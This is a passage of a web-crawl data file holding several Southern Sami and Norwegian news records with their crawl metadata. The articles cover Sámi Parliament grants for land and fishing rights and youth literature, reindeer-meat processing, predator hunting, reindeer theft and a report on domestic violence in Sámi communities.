bïjre, ihke dah edtjieh buerebelaakan sijjen reaktah jïh dïedth gorredidh, v.g. soejkesjebarkosne.\nProsjekte aaj ulmine åtna maahtoem jïh voerkesvoetem lissiehtidh tjïelti luvnie båatsoen areaaleåtnoen bïjre, jïh joekoen dan båatsoen bïjre mij lea Tromsen fylhken sisnjelen.\nSalkehtimmie reaktijste eatnemeåtnose\nMearrasámi árbediehtu sæjhta saemien reaktah salkehtidh Nordkappen tjïeltesne, joekoen Stranda-dajvesne. Åssjele lea reaktide nænnoestehtedh vijremasse, göölemasse, möörjemasse jïh jeatjah darjoemidie miehtjesne Nordkappen tjïeltesne.\nRaerie 100 tåvsenh kråvnah salkehtæmman dåårje.\n——————————————————————————————————————————————————————————————————-\nSametingets plenum har vedtatt har en støtteordning som har som mål å styrke samiske rettigheter til arealer og ressurser. Plenum har satt av 750.000 kroner til ordningen.\nDet kom inn ni søknader til søknadsfristen som var 1. april. Rådet behandlet søknadene 28. juni i Karasjok. Fire søkere fikk bevilget støtte.\nTana og Omegn Sjølaksefiskeforening organiserer fiskere rundt Tanafjorden, Varangerfjorden, Laksefjorden, Kvalsund og Altafjorden.\nSametingspresident Vibeke Larsen sier at det er viktig å avklare sjølaksefiskernes rettsstilling, og derfor bevilger sametingsrådet 200.000 kroner til Tana og Omegn Sjølaksefiskeforening.\nGruppesøksmål mot staten\nLarsen forteller at sametingsrådet også bevilger 300.000 kroner til Laksebreveiere i Tanavassdraget\/ Deanučázádaga luossabreavaeaiggádiid searvi og Deanučázádaga luossabivdosearvi\/ Laksefiskeforeningen for Tanavassdraget slik at de kan gå til søksmål for å få avtalen mellom Norge og Finland om fiske i Tanavassdraget erklært ugyldig.\n– Den inngåtte avtalen mellom Norge og Finland svekker lokalbefolkningens rett til fiske som har et rettslig vern etter grunnloven og folkeretten. De lokale garnfiskerne må redusere sitt tradisjonelle fiske så mye, at det tradisjonelle fisket er i ferd med å forsvinne på grunn av statens reguleringer, sier sametingspresident Vibeke Larsen.\nStyrke reindriftssamenes kompetanse\nSametingsrådet bevilger 150.000 kroner til Troms Reindriftssamers Fylkeslag for å styrke reindriftssamenes kompetanse i offentligrett og arealforvaltning, for at de bedre skal kunne ivareta sine rettigheter og plikter, f. eks i planarbeid.\nProsjektet har også som mål å øke kompetansen og bevisstheten hos kommunene om reindriftens arealbruk, og særlig om den reindriften som skjer innenfor Troms fylke.\nUtredning av rettigheter til naturbruk\nMearrasámi árbediehtu ønsker å utrede samiske rettigheter i Nordkapp kommune, spesielt i Stranda-området. Formålet er å styrke rettighetene til jakt, fiske, bærsanking og annen utmarksvirksomhet i Nordkapp kommune.\nRådet bevilger 100.000 kroner til utredningen.\n– For Sametinget er det viktig å styrke de sjøsamiske rettighetene, slik at den tradisjonelle bruken av områdene sikres ved at de vernes mot ødeleggende inngrep, sier Larsen.","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/snasanytt.no\/2017\/07\/04\/naennoestehteme-saemien-reaktijste-areaalide-jih-vierhtide-styrking-av-samiske-rettigheter-til-arealer-og-ressurser\/","date":"2017-07-26T10:36:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549426133.16\/warc\/CC-MAIN-20170726102230-20170726122230-00599.warc.gz","language":"sma","language_score":0.9088898301,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9088898301124573, \"sme_Latn_score\": 0.06951194256544113, \"nob_Latn_score\": 0.018468068912625313}","num_words":592,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":0.938,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Göökte eevre fïerske tjaelijh leah dåarjoem åådtjeme Saemiedigkeste noeregærjide \/To helt ferske forfattere har fått støtte fra Sametinget til bøker for ungdom.\nSaemiedigkieraerie lea dåarjoem joekedamme saemien lidteratuvrebæjhkoehtimmide daan jaepien. Mahte 100 ohtsemh lin sïjse båateme aktine tjåenghkies ohtsemesummine medtie 25 millijovnh kråvnine. Daan jaepien lij ovrehte 6 millijovnh kråvnah lyjkeme saemien lidteratuvrese.\n–Guhkiem noerelidteratuvren mietie gihtjeme saemien gïelesne, guktie daan jaepien libie veeljeme dam prioriteradidh. Dej ohtsiji gaskem dle daan jaepien göökte eevre fïerske tjaelijh mah dåarjoem åådtjeme sijjen maanusidie. Gåabpatjahkh lægan meatan orreme tjaelijestudijisnie, raerielïhtsege Mariann Wollmann Magga soptseste.\nSaia Stueng lea meatan orreme tjaelijestudijisnie maam Saemiedigkie jïh Sámi Dáiddaráđđi\/Sámi girjiečálli Searvi öörneme. Dïhte tjaala akten noere nïejten bïjre jïh altese dååjresi bïjre mearan jåarhkeskuvlesne vaadtsa. Gærja «Hamburgerprinseassa» lea noeride tjaaleme.\nEdel Maret Gaino lea aaj meatan orreme tjaelijestudijisnie jïh sov gærjesne \"Balddonasat vai veahkit\" tjaala jeatjahlaakan, isveligke soptsesi bïjre mej vööste væljohts geasalgåvva. Gærja lea tjaaleme noeride, men sæjhta aaj hijven lidteratuvre årrodh geerve almetjidie.\nLissine dåarjoe lea vadteme bæjhkoehtimmide dovne orre maanagærjijste, diktegærjijste, guvvieseerijijstie jïh faagegærjijste.\nGaskem jeatjah maanagærja \"Tjirrh \/Čebo dåarjoem åådtjeme. Laila Mattsson Magga lea dam tjaaleme jïh aalkoemaanusem åtna dovne åarjel- jïh noerhtesaemien. Aaj Samuel Gæloken gærja maanide \"Ruoppsisgállo\", aalkoemaanusinie julevsaemien gïelesne lea dåarjoem åådtjeme.\n—————————————————————————————————————————————————————————————————–\nSametingsrådet har tildelt støtte til samisk litteraturutgivelser for i år. Det var kommet inn nærmere 100 søknader med en samlet søknadssum på ca. 25 millioner kroner. I år var det satt av rundt 6 millioner kr. til samisk litteratur.\n– Det har lenge vært etterspørsel etter ungdomslitteratur på samisk, så i år har vi valgt å prioritere dette. Blant annet er det i år to helt ferske forfattere som har fått innvilget støtte til sine manus. Begge har deltatt på forfatterstudiet, forteller rådsmedlem Mariann Wollmann Magga.\nSaia Stueng har deltatt på forfatterstudiet i regi av Sametinget og Sámi Dáiddaráđđi\/Sámi girjiečálli Searvi. Hun portretterer en ung jente og hennes opplevelser mens hun går på videregående skole. Boken «Hamburgerprinseassa\" er skrevet for ungdom.\nEdel Maret Gaino har også deltatt på forfatterstudiet og skriver i sin bok \"Balddonasat vai veahkit\" om annerledes, skumle fortellinger som man motvillig tiltrekkes av. Boken er skrevet for ungdom, men vil også være god litteratur for voksne.\nDet er i tillegg innvilget støtte til utgivelser av både nye barnebøker, diktbøker, tegneserier og fagbøker.\nBlant annet har barneboken \"Tjirrh\/Čebo\" fått støtte. Den er skrevet av Laila Mattson Magga og har et originalmanus på både sør- og nordsamisk. Også Samuel Gæloks bok for barn,\"Ruoppsisgállo\", med et originalmanus på lulesamisk, har fått støtte.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/snasanytt.no\/2017\/06\/16\/daarjoem-vadta-noerelidteratuvrese-gir-stotte-til-ungdomslitteratur\/","date":"2017-08-19T05:18:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105304.35\/warc\/CC-MAIN-20170819051034-20170819071034-00615.warc.gz","language":"sma","language_score":0.9546161294,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.954616129398346, \"sme_Latn_score\": 0.03054950200021267, \"nob_Latn_score\": 0.01215897686779499}","num_words":407,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.966,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båetije våhkoen Tråante 2017 aalka, mij lea heevehtimmie juktie lea stoerreluhkie jaepiej juassah dihte voestes abperijhken saemientjåånghkoe Tråantesne lij.\nUnni Fjellheim lea daelie orre konstruksjovne dorjeme dehtie snïjbetjohpeste,\n– Mov mïelen mietie, Istenvuemien tjohpe lij snïjbetjohpen maallen mietie gååreme. Saemieh snïjbem bieliestuhtje gaalloste jïh tjohpem gaamesijstie gååredin. Jih gåaroemasse dle soenh butnin, Unni Fjellheim jeahta.\nSnïjbetjohpe dovne nyjsenæjjese garmanæjjese\nJåarke dihte daate soptseste tjohpen bijre.\n– Gïjre-daelvien snïjbetjohpe biejjien vuestie vaarjele gosse guakedh jih bïjveles gosse bïegke jih gåalta.\nGosse snïjbe bæjjese jih njuenie-kruehkiej dïere, dle daaroen snïjbetjohpe jis «Skjoldlua» gåhtjoejin.\nDihte tjohpe edtja meatan årrodh Sámiid Duodjien vuesiehtimmesne.","id":"","dump":"CC-MAIN-2017-34","url":"https:\/\/www.nrk.no\/sapmi\/saemiej-snijbetjohpe-aajva-tjohpe_-1.13358953","date":"2017-08-17T11:53:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886103270.12\/warc\/CC-MAIN-20170817111816-20170817131816-00462.warc.gz","language":"sma","language_score":0.9998729229,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9998729228973389}","num_words":96,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie barkoem åålmegemiehtjieprosessesne transparentem dorje jïh bååstide tjatnedh gååvnesieh ovmessie dåehkieh mah sinsitnine berkieh ovmessie konstellasjovnine.\nReferaansedåehkie sjæjsjalimmiereaktam åtna. Barkoedåehkie evtede Beredningsgruppen'asse mij ryöjrede jïh raeriestimmide dåhkasjahta åvteli dejtie raeriestimmide Resursägardåahkan vuesiehtieh gusnie dåhkasjahta.\nDialogdåehkieh gusnie tjirkijh sïjtijste, byjjesvoeteste siebriej, organisasjovni, voenesiebriej, åejvieladtjh j.j. Ovmessie dialogdåehkieh ovmessie temaj bïjre berkieh, vuesiehtimmieh gööleme, miehtjiejielede, sygkeldimmie jnv jïh barkoedåehkiem viehkiehtieh maahtojne jïh vaajtalassigujmie guktie raeriestimmieh hammoedieh. Maahtoe dialogdåehkijste jïh barkoedåehkijste viehkehte ryöjredimmiedåehkie raeriestimmiem hijven kvaliteetine tjaeledh.\nGaajhkh maehtieh dialogtjåanghkojde båetedh. Daesnie maehtieh gaajhkesh årrodh jïh sov vuajnoeh buektedh, gihtjedh jïh uvtelassh jïh åssjelh buektedh. Bïevnesh dialogtjåanghkojste leah meatan dialogdåehkiej jïh barkoedåehkiej barkosne.\nDialoge, ektiebarkoe jïh rïhpesvoete lea lijremebaakoeh daennie prosessene mah doehtedidh jïh tsevtsedh.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.valadalen-sylarna-helags.se\/mijjen-stilleme\/","date":"2017-08-19T01:31:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886105291.88\/warc\/CC-MAIN-20170819012514-20170819032514-00687.warc.gz","language":"sma","language_score":0.9999973774,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999973773956299}","num_words":112,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.113,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mietsken asken, Leif Elsvatn åadtjoeji Aarboerte tjïelten kultuvreåasam sov ïedtjeles barkoen åvteste jih åarjelsaemienkultuvren bijre Helgelaantesne goerehtidh jih gïehtjedidh Dan våhkoen dellie Villkvinneseminaare sijhti daam saemien kaarrem earoehtidh.\n– Jijnjesh Aarbortese, Sijti Jarngese dajstas ïehkeden bøøtin, sijhtin Leifem earoehtidh jih klahtoehtidh, Hege Dalene Villkvinneseminaareste bievnede.\nElsvatn goh tjaelije, historikere, lohkehtæjja jih politihkere ,dihte lij Saemiedigkien politihkere jaepien 1997-2001 raajan. Dihte aaj åejvie orreme Sijti Jarngesne. Dihte åehpies sjidteme gåessie saemien histovrijen jih kultuvren bijre Helgelaantesne tjaaleme.\nSaemien kultuvreaerpie.\n– Leife vuesiehtamme dam kultuvreaerpiem medijesne, gærjine jih ïedtjije orreme tjaktje gåetieh dåvvodh jih aaj urreste tseegkedh. Nøørjen almetjh stuerebe maahtoem saemieh bijre åadtjeme, Hege Dalene jeahta.\nAlmetjh eadtjohks sjidteme sov maadtoem goerehtidh.\n– Dihte dorjeme, almetjh Helgelaantesne sijhtieh jijtjen maadtoen bijre goerehtalledh, kanne saemien maadtoem utnieh. Dalene jeahta.\n- Lohkh aaj: Persson åasa åådtjeme","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.nrk.no\/sapmi\/iedtjeles-kaarrem-earoehtamme-1.12638412","date":"2017-09-19T17:43:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818685912.14\/warc\/CC-MAIN-20170919164651-20170919184651-00318.warc.gz","language":"sma","language_score":0.9999833107,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999833106994629}","num_words":128,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24 Dyrelotto med dyregåter Materialet består av totalt 72 dyr:6 spillplater à 12 dyrKort med dyrebilderKort med artsnavnKort med dyregåterSpïelen leah tjïjhtjeluhkie-göökte juvrh jïh mojnestimmieh mah govhte dåehkide juakeme.\n25 Dyrelotto med dyregåter Kyst- og havdyr,fisker:Viltlevende små dyr,fugler:Mearoen dyjrh jïh guelieh jïh smaave dyjrh jïh ledtieh.\n26 Dyrelotto med dyregåter Viltlevende store dyr:Husdyr:Stuerebh dyjrh jïh kreekh gaertienisnie.","id":"","dump":"CC-MAIN-2017-39","url":"http:\/\/slideplayer.no\/slide\/2438153\/","date":"2017-09-26T12:49:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818695726.80\/warc\/CC-MAIN-20170926122822-20170926142822-00102.warc.gz","language":"sma","language_score":0.9790853858,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.979085385799408, \"nob_Latn_score\": 0.01265787985175848}","num_words":52,"character_repetition_ratio":0.137,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Buerebe gåarede jih bovtsen jih sarven bearkoem åastedh jih doekedh. Lierne Viltforedling AS buektiehtamme, buerebe laakan bearkoe doekedh. Dæjman daate lissiehtahke 40 prosente sjidti. Daam dihte Trøndere plaerie tjaala.\nLierne Viltforedling lea båatsoe saemiej jijtjen åasiestæjja sielske, Noerhte Trøøndelaagesne. Gusnie bearkoe åestieh jih duekieh. Daate sielske åtna 53 aajhterh mij aksjieh åasteme.\nDæjman dellie sagke jienebem leekedin. Jienebh sarvh aaj dæjman øøstimh.Don jaepeste, dæjmetje jaapan dellie 140 tonn, 200 tonnen raajese lissehtahkene sjidti, dihte Lierne Viltforedling øøvtiedæjja Einar Kvemo jeahta.\n– Buerebe jih buerebe laakan åestebe jih doekebe. Daelie aaj utnebe stuerebe sijjiem gusnie maehtebe bearkoeh våårhkedidh. Dellie barkoe daan jaepien aaj gååvnese. Åssjalommes mænngan jih jijtjen stoerre gilmehtahke gåetiem bigkedh\nSarven bearkoe vihkeles sjidteme.\nLierne Viltforedling lea daan jaepien sarvh åasteme, gaajhkede lehkeste dennie fylhkesne, dellie jienebe sarven bearkoem åadtjoejin åestedh. Dihte vååjnoe hijven sjidti. Voestemes jaepien øøstimh 350 sarvh jih dæjman bijjelen 500 sarvh. Sarvh aaj Snåaseste, Stientjeste, Overhalleste, Vikneste jih Nærøyste åasiestamme.\n– Vååjnoe nemhtie, maahta jienebh åasies-sijjieh mubpien jaapan sjidtedh. Dihte seamma vihkeles jih jijnjem bovtsen jih sarven bearkoem åastedh goh barkoem doekedh.\nMaarhna vaeljehkem girmie.\n– Maarhna vaeljehke joekoen barkoem dorjeme. Ibie mijjieh tjoeperem utnieh jih bearkoeh doekedh. Mijjien daktere -sielske Midtnorsk Mobilslakt sov mubpie leekedimmie bussem åasteme, Kvemo jeahta.\nDaate dorje 20 miljovnh kr retnon gïetedallieh.\nLierne Viltforedlingen ulmie lea jih dan jaepien 20 milljovnh kr gïetedidh.\n– Båetije biejjie tjoevkes vååjnoe. Båatsoe saemieh jih vijrije almetjh edtjieh hijven åasam åadtjodh, edtjebe aaj hijven åasam utnedh gosse bearkoe doekebe, Kvemo jeahta.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/vielie-bovtsen-jih-sarven-bearkoem-doekeme-1.12161389","date":"2017-10-22T08:20:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187825154.68\/warc\/CC-MAIN-20171022075310-20171022095310-00092.warc.gz","language":"sma","language_score":0.9999936819,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999936819076538}","num_words":235,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goh akte guhkiebasse barkoe reektehtsistie vædtsoesvoeten bïjre lïhke fuelhkine saemien siebriedahkine, Saemiedigkie saemien tjïelth böörede laavenjostedh juktie faalenassem bueriedidh dejtie mah vædtsoesvoetem dååjroeh lïhke fuelhkine. \/Som en oppfølging av rapporten om vold i nære relasjoner i samiske samfunn inviterer Sametinget samiske kommuner til samarbeid for å forbedre tilbudet til de som opplever vold i nære relasjoner.\nNasjonaale daajroejarnge vædtsoesvoeten jïh traumatiske raessien bïjre (NKVTS) goerehtimmiem vædtsoesvoeten bïjre lïhke fuelhkine saemien siebriedahkine tjïrrehti, jïh reektehtse bæjhkoehtamme sjïdti Saemiedigkesne njoktjen 8.b. 2017 Karasjohkesne.\nReektehtse «Jis doesth gihtjedh, almetjh duestieh vaestiedidh» våaroeminie åtna soptsestimmieh faagealmetjigujmie jïh viehkieabparaatine saemien dajvine, jïh tjoevkesem beaja guktie viehkieabparaate dååste saemien almetjh mah vædtsoesvoetem dååjreme. Reektehtse aaj goerehte mejtie lea tsiehkieh saemien siebriedahken sisnie jallh ålkolen mah tsevtsieh man jïjnje vædtsoesvoete lea.\nTjuara illedahkide itjmieslaakan vaeltedh\n– Reektehtsisnie tjïelke sjædta jeenjesh vuelege seahkarimmiem åtna pollisese jïh viehkieabparaatese, dan åvteste viehkieabparaate gaskem jeatjah ij leah gïele- jïh kultuvremaahtoem utnieh, saemiedigkieraerie Mariann Wollmann Magga jeahta.\n– Tjoerebe illedahkide itjmieslaakan vaeltedh jïh åejvieladtjh tjuerieh råajvarimmiejgujmie nierhkedh saemien siebriedahkine, tjïeltigujmie jïh Saemiedigkine ektine. Reektehtse akte vihkeles dïrrege daennie barkosne, Magga jeahta.\nSaemiedigkieraerie Mariann Wollmann Magga jeahta åssjele tjåanghkoejgujmie lea reektehtsem åehpies darjodh tjïeltide, jïh soejkesjem åadtjoem guktie tjïelth maehtieh jarkelimmieh darjodh juktie buerebe faalenassem vedtedh dejtie mah vædtsoesvoetem lïhke fuelhkine dååjroeh.\n– Aaj vaajteles daejredh maam tjïelte Saemiedigkeste veanhtede dennie guhkiebasse barkose åvtese, Magga jeahta.\nSaemiedigkiepresidente Vibeke Larsen jïh raerielïhtsege Mariann Wollmann Magga tjåanghkoem utnieh maana- jïh mïrrestallemeministerinie Solveig Horne jïh staatetjaeliejinie Justijse- jïh riejriesvoetedepartemeentesne duarstan ruffien 15.b. dan guhkiebasse barkoen bïjre reektehtsistie.\nVoestes tjåanghkoe reektehtsen bïjre lij ruffien 7.b. Tromsøen tjïeltine. Edtja aaj akte tjåanghkoe årrodh Snåasen tjïeltine ruffien 12.b. Lissine lea maadteme akten tjåanghkoen bïjre Divtasvuodnan tjïeltine, men ij leah annje tjïelke gåessie.\n————————————————————————————————————————————————————————————————–\nStudien om vold i nære relasjoner i samiske samfunn ble gjennomført av Nasjonalt kunnskapssenter om vold og traumatisk stress (NKVTS) og rapporten ble lansert på Sametinget 8. mars 2017 i Karasjok.\nRapporten «Om du tør å spørre, tør folk å svare» er basert på samtaler med fagfolk og hjelpeapparatet i samiske områder, og belyser hvordan samiske voldsutsatte blir møtt av hjelpeapparatet. Rapporten undersøker også om det er forhold i og utenfor det samiske samfunn som påvirker forekomsten av vold.\nMå ta resultatene på alvor\nI rapporten kommer det frem at mange har lav tillit til politiet og hjelpeapparatet, fordi hjelpeapparatet blant annet mangler språk og kulturkompetanse, forteller sametingsråd Mariann Wollmann Magga.\n– Vi må ta resultatene på alvor og myndighetene må sette i gang tiltak i samarbeid med det samiske samfunnet, kommunene og Sametinget. Rapporten er et viktig redskap i dette arbeidet, sier Magga.\nSametingsråd Mariann Wollmann Magga sier at formålet med møtene er å gjøre rapporten kjent for kommunene, og få en plan for oppfølging på hvordan kommunene kan gjøre endringer for å gi et bedre tilbud til de som opplever vold i nære relasjoner.\n– Videre er det ønskelig å få frem hva kommunen forventer av Sametinget i det videre oppfølgingsarbeidet, sier Magga.\nOppfølgingsmøter\nSametingspresident Vibeke Larsen og rådsmedlem Mariann Wollmann Magga har møte med barne- og likestillingsminister Solveig Horne og statssekretær i Justis- og beredskapsdepartementet torsdag 15. juni om oppfølgingen av rapporten.\nDet første møtet om rapporten ble avholdt 7. juni 2017 med Tromsø kommune. Videre skal det avholdes et møte med Snåsa kommune 12. juni. Det er i tillegg anmodet om et møte med Tysfjord kommune, men dette er foreløpig uavklart.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/snasanytt.no\/2017\/06\/14\/jus-duosta-gatjadit-duossti-ulmutja-vasstedit-om-du-tor-a-sporre-tor-folk-a-svare\/","date":"2017-10-17T11:41:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821088.8\/warc\/CC-MAIN-20171017110249-20171017130249-00795.warc.gz","language":"sma","language_score":0.9654588103,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9654588103294373, \"sme_Latn_score\": 0.025718078017234802}","num_words":546,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":0.976,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jååktetje biejjien, dæjstan dellie urries duvriem Båvloen vaartosne Viestervielen, Voengelh Njaarken sijtesne vøøtjin. Daate lea dihte mubpie duvrie maam desnie luhpiem åådtjeme vuedtjedh. Dannasinie sirvh moetesjamme.\nDihte vuetjeme åejvie Even Bjørnes, SNO jeahta daate lij akte noere urries beeretje.\nDihte vijreme daelhkie geerve.\nMejtie aelhkie daam beeretjem gaavnedh?\n– Ijje mah! Nåake daelhkie jih vearolde jih kraejhpies laantesne, Bjørnese jeahta.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/mubpie-duvriem-gaalesne-vuatjeme-1.12310970","date":"2017-10-20T13:40:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824104.30\/warc\/CC-MAIN-20171020120608-20171020140608-00026.warc.gz","language":"sma","language_score":0.9999716282,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999716281890869}","num_words":59,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BILLEDGALLERIER\nNænnoestehteme saemien reaktijste areaalide jïh vierhtide\/ Styrking av samiske rettigheter til arealer og ressurser\nSaemiedigkieraerie dåårje 200 tåvsenh kråvnah seabran Tana og Omegn Sjølaksefiskeforening juktie mearoeloesegööliji reaktatsiehkiem tjïelkestidh. Mearoeloesesiebrie vuarjesjeminie staatem steabnodh, dan åvteste doh staateles stuvrehtimmieh leah aerpievuekien mearoeloesegöölemem håvhtedeminie. \/Sametingsrådet bevilger 200.000 kroner til Tana og Omegn Sjølaksefiskeforening for å avklare sjølaksefiskernes rettsstilling. Sjølaksefiskeforeningen vurderer å stevne staten, fordi de statlige reguleringene er i ferd med å true det tradisjonelle sjølaksefisket.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/snasanytt.no\/kategori\/samisk\/","date":"2017-10-17T11:40:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187821088.8\/warc\/CC-MAIN-20171017110249-20171017130249-00131.warc.gz","language":"sma","language_score":0.8637576103,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.8637576103210449, \"nob_Latn_score\": 0.0758858323097229, \"sme_Latn_score\": 0.050072185695171356}","num_words":72,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.918,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavvardahken gaavnin orre sirven barhvem Roktdalesne Snåasesne. Ruffien asken åadtjoejin seamma dajvesne luhpiem jih biernem vuetjedh\n– Tjielte dellie syøki jih luhpiem åadtjoeji jih daam biernem vuedtjedh. Daate bierne lea daejtie sirvide vaalteme jih Fylhke ålma vihth luhpiem vadta jih daam biernem vuetjedh, Fylhkeålman Lina Nøstvold Trøøndere plaerese bievnede.\nDaate lea mubpien aejkien daan giesien luhpiem vedtieh jih biernem vuetjedh.\n- Lohkh aaj:","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/aadtjoeh-biernem-snaasesne-skoohtedh-1.12476323","date":"2017-10-20T22:28:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824357.3\/warc\/CC-MAIN-20171020211313-20171020231313-00670.warc.gz","language":"sma","language_score":0.9999350309,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999350309371948}","num_words":61,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daan daelvien gøøkte ïerveme sijjieh gaavneme, dæjman sagke jienebh. Jörgen Jonsson lea Idren sijten åvtehke jih dihte tuhtjie nåake lea.\n– Bovtse almetjh daejtie ïerveme sijjide gaavneme. Delllie leah soelegh bovtsh vuatjeme jih skovterinie, geajnoe bealese, debpede bijlene voelkedamme. Muvhten aejkien aaj , mijjieh Skovtere -laategem, eannah gåetien gåajkoe, goereme .Daate lea Särnesne.\nStoerre tjoeperdimmie.\nIdren sijte åtna daam sov daelvie gåatomes laantem noerhtelen Särna. Daate stoerre tjoeperdimmie sijtese jih båatsoe almetjidie, jeahta Jonsson.\n– Gåessie ïerveme sijjide gaavneme gusnie bovtsh vuatjeme, baalte desnie aaj gåaroes voelege boehtelh laahpeme. Daate gaajh vaarege sjædta jis dah geeruve soeleh-almetjh røøvri gujmie vuelkieh.\nÅlmam vaalteme.\nDaan aamhtesen bijre, dah joe dæjman leantsan bievnedin. Kriminalinspektøøre Noerhte Dalarnesne Lennart Hjelm jeahta daelie libie aktem ålmam vaalteme Särnaste maam sovmebe bovtsh sualadamme.\n–Daan ålman gilmedahkesne bovtsen bearkoeh gaavnim jih aaj fïerske bovtsen bearkoeh. Mijjieh maelie- gåajhkoetassem laategen mietie gaavnimh jih Dna -analysen tjïrrh, dihte vuesehti seamma maelie lij goh dihte ålman bovtsen bearkoeh.\nJis daam soeleh-ålmam strååffie, dellie tjoara faangke-gåatan jallh beetnegh biejjeste beajjan maeksedh. Ij leah seamma aalvere jih bovtsh sualadidh goh ov-juvrem vuetjedh jeahta Lennart Hjelm.\nStoerre tjoepere daejtie båatsoe almetjidie.\n–Daate leah stoerre tjoepere daesnie. Ij leah barre daan aejkien, daejnie guhkiem giehtelamme. Jijnjh soeleh- almetjh daesnie gååvnese jeahta Lennart Hjelm.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/ierveme-sijjieh-gaavneme-1.11632874","date":"2017-10-21T12:29:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824775.99\/warc\/CC-MAIN-20171021114851-20171021134851-00648.warc.gz","language":"sma","language_score":0.999994874,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999948740005493}","num_words":205,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"«Biejjien niejth» \"Solens Døtre\", govhte eadtjohks saemien nyjsenæjjah Helgelaanteste guvviedamme. Saemien Sijte jih Gïelem Nastedh, Snåasesne, teema -iehkedem øørneminie gusnie edtjieh \"Saemien nyjsenefaamoem \" bijre 